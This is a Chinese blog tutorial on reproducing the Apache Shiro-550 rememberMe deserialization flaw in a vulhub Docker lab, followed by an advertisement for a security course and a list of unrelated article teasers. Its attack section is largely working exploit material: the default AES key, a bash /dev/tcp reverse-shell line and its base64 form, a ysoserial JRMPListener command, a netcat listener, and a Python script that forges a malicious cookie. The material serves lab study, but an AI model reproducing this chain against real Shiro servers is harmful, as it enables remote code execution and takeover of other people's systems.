【网络安全---漏洞复现】shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)

一,漏洞介绍

1-1 什么是shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

1-2 什么是序列化

序列化就是为了传输遍历,把一个对象类型的数据转换成字符串进行传输;比如javascript里的一个对象{name:‘aini’,age:22}可以通过JSON.stringify函数转换成一个JSON格式的字符串,便于传输既这个对象会变成**‘{“name”:“aini”,“age”:18}’**,或者在PHP语言里面把一个类或者对象,或者函数等通过serialize函数进行序列化便于传输;序列化后产生的JSON,或者XML格式不仅传输便利,而且可以跨语言传输数据,这个把某个对象序列化成json格式或者XML格式或者其他序列化格式的字符串过程称为序列化;不过值得注意的是序列化不仅仅是这一种方式,还有对象数据类型转换成XML格式等,可以自行百度一下;

1-3 什么是反序列化

反序列化就是序列化的逆向过程,把一个序列化的JSON字符串内容或者XML内容反向还原回序列化前的对象格式

1-4 漏洞原理

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

客户端产生rememberMe键值对以及服务端进行cookie验证步骤

补充:漏掉了一步,用户信息先序列化以后再进行AES加密等

在服务端AES解密以后进行反序列化才得到用户信息

1-5 漏洞利用思路

既然能进行序列化,那我们可以对我们自己的攻击代码进行相同的AES加密,base64编码以后产生rememberMe字段发给服务端,服务端反向进行解密得到我们攻击代码并会运行,进而我们就攻击成功了

二,靶场搭建

基于vulhub靶场进行搭建(需要靶场的话可以留言,或自行搭建vulhub靶场,有很多教程

需要有docker容器,可以参照下面这篇博客进行安装

docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790

cd vulhub-master

cd shiro

cd CVE-2016-4437

docker-compose up -d (运行靶场

docker ps (查看容器列表

浏览器访问一下看看,发现已经成功运行了

随便输入用户名和密码进行抓包,放到重放器里面,点击发送,相应包里看到rememberMe = deleteMe字段,可以说应该存在这个shiro550反序列化漏洞

利用工具检测(工具需要的留言,我分享给你)

三,漏洞复现和利用

利用过程图解

注:Python脚本可以在攻击机而上运行生成rememberMe字段

我用了三个主机,分别如下

靶场**:kali2023 192.168.31.150 ------------------- 搭建靶场**

攻击主机1**:kali2023 192.168.31.160 --------------- 监听,等待反向shell连接**

攻击主机2**:kali2022 192.168.31.20 -------------- 搭建JRMP服务器**

3-1 爆破AES秘钥

AES加密需要秘钥的,我们想要构造rememberMe键值对就得拿到AES加密秘钥;网上有很多方法,和一些Python写的工具,我用了几个发现不太好用,用了自己的工具,就是上面检测用的工具

我就用工具爆破出来

秘钥是:kPH+bIxk5D2deZiIxcaaaA==

**注:**在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==

3-2 搭建JRMP服务器

需要以下工具

下载地址如下(重要的是ysoserial.jar文件

shiro_exploit.py------ 爆破AES秘钥的文件(我用了,没爆破出来,不太好用,我是用自动化工具进行检测的)

用法:python3 shiro_exploit.py -u http://192.168.31.150:80

shiro.py----------(用于生成rememberMe 值的Python脚本,这个过一会儿自己写就可以)

ysoserial.jar------ 搭建JRMP服务器用的

GitHub - insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具Apache Shiro 反序列化漏洞检测与利用工具. Contribute to insightglacier/Shiro_exploit development by creating an account on GitHub.https://github.com/insightglacier/Shiro_exploit

2-1 首先生成反向shell

反向shell语句**(IP为攻击机1的IP,端口为攻击机需要监听的端口)**

bash -i >& /dev/tcp/192.168.31.160/4444 0>&1

对反向shell语句base64编码,用如下网址进行base64编码很方面

Runtime.exec Payload Generater | AresX’s Blog

拿到base64加密后的结果

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
2-2 搭建JRMP服务器

用攻击机2 执行次操作

大概解释一下:这个就是产生了一个反向连接攻击机的木马文件,并开始监听7777端口,接下来就是我们再生成带有服务器去攻击机2获取木马的恶意攻击代码的rememberMe值,让服务端运行,服务端就会去攻击机2下载连接攻击机1的反向木马

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"

3-3 攻击机1打开监听

攻击机1开始监听4444端口

nc -lvvp 4444

3-4 生成rememberMe 值

环境:

**攻击机2 kali2022 192.168.31.20** **python2.7**
4-1 Python2.7 安装pip2和 pyCrypto

开始头疼了,因为kali Python2.7是没有pip2,没办法安装模块,而我们的生成rememberMe 值的Python脚本需要安装一个加密模块 ,解决办法如下

wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gz tar -zxvf setuptools-18.5.tar.gz cd setuptools-18.5/ sudo python2 setup.py build sudo python2 setup.py install

就在setuptools-18.5目录下继续运行如下代码

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py sudo python2 get-pip.py

注意 ,我运行wget https://bootstrap.pypa.io/pip/2.7/get-pip.py以后一直连接不成功

解决办法:直接用浏览器打开,复制代码,本地创建文件,粘贴就行

我在浏览器打开了https://bootstrap.pypa.io/pip/2.7/get-pip.py 网址

我创建了一个getpip.py文件(把网页上的内容复制到里面)(注意内容超级多,复制粘贴需要点时间

还需要安装一个工具

apt-get install python2-dev

安装完成以后运行 sudo python2 getpip.py

sudo python2 getpip.py

可能会报错,多尝试即便就可以安装好

通过尝试了好几次,终于安装好了

安装加密模块

pip2 install pycrypto

成功安装了pip2 和加密用的pycrypto模块二

4-2 生成rememberMe的值

Python脚本文件内容如下,自己创建个shiro.py直接写入即可(这是Python2写的脚本)

注: key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”) 替换成自己爆破出来的AES秘钥

import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())

运行如下命令生成rememberMe 值**(shiro.py 和 ysoserial.jar 得在同一个目录下)**

IP地址为攻击机2的IP和7777端口

可以在攻击机2上生成

python2 shiro.py 192.168.31.20:7777

得到了rememberMe的值

3-5 修改数据包

抓包以后修改数据包

原始数据包如下

cookie里面加上一个rememberMe的键值对 ,如下,再进行发送

看看JRMP服务器和攻击机1,有没有连接成功

发现服务器确实来攻击机2上拿反向shell了

再来看攻击机1getshell是否承成功

发现getshell成功,能执行系统命令

3-6 用自动化工具进行利用

以上是详细的手动漏洞利用过程,下面是用工具直接进行利用

根据提示选择合适的利用链以后

切换到命令执行,就可以执行系统命令了

今天的内容到此结束,确实花了不少时间,如果您遇到问题可以留言一起探讨,需要工具或者脚本文件可以留言,我可以分享给你

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。


1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1159362.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

调用翻译API,将AI产品英文说明文档翻译成中文,同时适配移动端阅读格式。

下面我将为您提供一个完整的、基于Python的解决方案&#xff0c;用于自动翻译AI产品文档并生成适配移动端的阅读格式。项目概览&#xff1a;DocBridge - AI产品文档翻译与移动端适配工具核心功能&#xff1a;用户提供一个AI产品的英文说明文档&#xff08;Markdown格式&#xf…

黑盒测试中的完整性测试:确保系统的功能完整性

在软件开发过程中&#xff0c;为了保证系统的质量和可靠性&#xff0c;测试是一个不可或缺的环节。而黑盒测试作为常用的测试方法之一&#xff0c;以用户的角度出发&#xff0c;测试系统在不知道内部工作原理的情况下&#xff0c;对输入数据的处理和输出结果的正确性进行验证。…

【2026年最新整理】转行网络安全避坑指南:我踩过的 5 个误区及解决方案

转行网络安全避坑指南&#xff1a;我踩过的 5 个误区及解决方案 引言 我从运维转行网络安全时&#xff0c;走了 3 个月弯路&#xff08;比如盲目学逆向、囤了 100G 资源却不用&#xff09;&#xff0c;最终通过调整方向拿到 Offer。本文总结 5 个高频误区&#xff0c;帮你少花…

基于Python的在线任务兼职管理系统的设计与实现

《[含文档PPT源码等]基于Python的在线任务兼职管理系统的设计与实现》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功以及课程答疑与微信售后交流群、送查重系统不限次数免费查重等福利&#xff01; 软件开发环境及开发工具&#xff1a; …

【创新首发】【JaDE-SVM时序预测】自适应权重差分进化算法(JaDE)优化SVM时序预测研究附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。&#x1f34e; 往期回顾关注个人主页&#xff1a;Matlab科研工作室&#x1f34a;个人信条&#xff1a;格物致知,完整Matlab代码及仿真咨询…

零基础想转行做数据安全工程师,需要掌握的哪些核心技术?

转行做数据安全工程师&#xff1a;需要掌握的核心技术 一、引言 数据安全是网络安全领域的 “刚需赛道”—— 随着《数据安全法》《个人信息保护法》的强制实施&#xff0c;企业对 “数据安全工程师” 的需求年均增长 30%&#xff0c;薪资比普通安全岗位高 20%-35%&#xff08…

如何运用北斗GNSS位移监测提升变形监测效率?

本文将分析北斗GNSS位移监测技术及其在变形监测中的应用。具体来说&#xff0c;单北斗形变监测一体机作为核心设备&#xff0c;其技术原理和应用前景将是重点讨论的内容。同时&#xff0c;文章将着重探讨北斗GNSS在桥梁安全监测和地质灾害监测中的独特优势&#xff0c;以及如何…

可维护性测试指南

什么是可维护性测试&#xff1f; 维护的主要定义是保持或维持特定状态的过程。软件的可维护性由开发人员负责&#xff0c;他们定期修改软件以满足不断变化的客户需求并解决客户提出的问题。 软件维护需要增强软件的功能&#xff0c;以包含客户需要的新功能&#xff0c;修改代…

基于Python的智能家居环境感知的设计与可视化-爬虫

《[含文档PPT源码等]基于Python的智能家居环境感知的设计与可视化-爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功以及课程答疑与微信售后交流群、送查重系统不限次数免费查重等福利&#xff01;软件开发环境及开发工具&#xff1a;开…

17.基准库存模型中的在途库存:理论解析与管理实践

1. 摘要 在途库存&#xff08;Pipeline Inventory&#xff09;作为供应链库存体系的核心组成部分&#xff0c;特指已下达采购订单但尚未完成交付、仍处于运输或生产流转过程中的库存。在基准库存模型&#xff08;Base Stock Model&#xff09;的框架下&#xff0c;在途库存不仅…

基于django的房源租房分析系统-爬虫

《[含文档PPT源码等]基于django的房源租房分析系统-爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功以及课程答疑与微信售后交流群、送查重系统不限次数免费查重等福利&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&am…

科普视频动画素材哪里找?10个高画质库帮你搞定(第1个超实用!)

科普视频要想让观众看得懂、记得住&#xff0c;除了专业的知识讲解&#xff0c;生动的动画素材绝对是点睛之笔。无论是细胞分裂的微观世界、行星运行的宇宙奇观&#xff0c;还是物理实验的动态模拟&#xff0c;合适的动画素材都能让抽象的科学概念变得直观有趣。但很多创作者苦…

基于Python实现的宠物领养网站系统失物招领

《[含文档PPT源码等]基于Python实现的宠物网系统flask》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功以及课程答疑与微信售后交流群、送查重系统不限次数免费查重等福利&#xff01;软件开发环境及开发工具&#xff1a;开发语言&#xff…

为什么我建议 2026 年程序员转行,首选网络安全?避开内卷与 AI 替代太香了!

2026 网络安全就业指南&#xff1a;从零基础到年薪 50W 的突围路径 一、行业现状&#xff1a;为什么网络安全成了 “最抗冻” 的赛道&#xff1f; 当传统互联网岗位陷入 “内卷”&#xff0c;网络安全却逆势成为就业市场的 “香饽饽”。工信部最新数据显示&#xff0c;2024 年…

【创新首发】【LEA-RBF回归预测】基于狮群优化算法的径向基神经网络创新研究附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。&#x1f34e; 往期回顾关注个人主页&#xff1a;Matlab科研工作室&#x1f34a;个人信条&#xff1a;格物致知,完整Matlab代码及仿真咨询…

EasyGBS算力平台在轨道交通视频监控系统中的部署与实践

随着城市化进程的加速和轨道交通网络的快速扩张&#xff0c;地铁、轻轨、有轨电车等轨道交通系统已成为城市生命线的重要组成部分。面对日益复杂的安全挑战&#xff0c;传统的视频监控系统已难以满足现代化轨道交通对智能化、实时化、精准化安防的需求。在这一背景下&#xff0…

基于Python实现的酒店住房管理系统

《基于Python的酒店住房管理系统的设计和实现》该项目采用技术Python的django框架、mysql数据库 &#xff0c;项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、核心代码介绍视频等软件开发环境及开发工具&#xff1a;开发语言&#xff1a;python使用框架&…

2026必藏!10个极简主义建筑视频空镜头网站,让你的创作变高级!

现在的短视频、广告片甚至电影中&#xff0c;**极简主义建筑视频空镜头**越来越成为创作者的心头好——干净的线条、纯粹的色彩、静谧的空间感&#xff0c;能瞬间提升作品的格调&#xff0c;传递出高级又治愈的氛围。但找高质量的免费素材却成了很多人的难题&#xff1a;要么版…

EasyGBS助力构建应急管理与安全生产全域防控体系

在工业化、城镇化持续推进的背景下&#xff0c;安全生产风险隐患交织叠加&#xff0c;全面提高安全生产管理水平、构建责任全覆盖、监管全方位的综合治理体系已成为社会发展的必然趋势。EasyGBS作为一款国标GB28181算法算力平台&#xff0c;其在应急管理与安全生产方面的应用&a…

基于Python的大数据的人才招聘数据分析与可视化平台应聘兼职-爬虫

《[含文档PPT源码等]基于Python的大数据的人才招聘数据分析与可视化平台-爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功以及课程答疑与微信售后交流群、送查重系统不限次数免费查重等福利&#xff01;软件开发环境及开发工具&#x…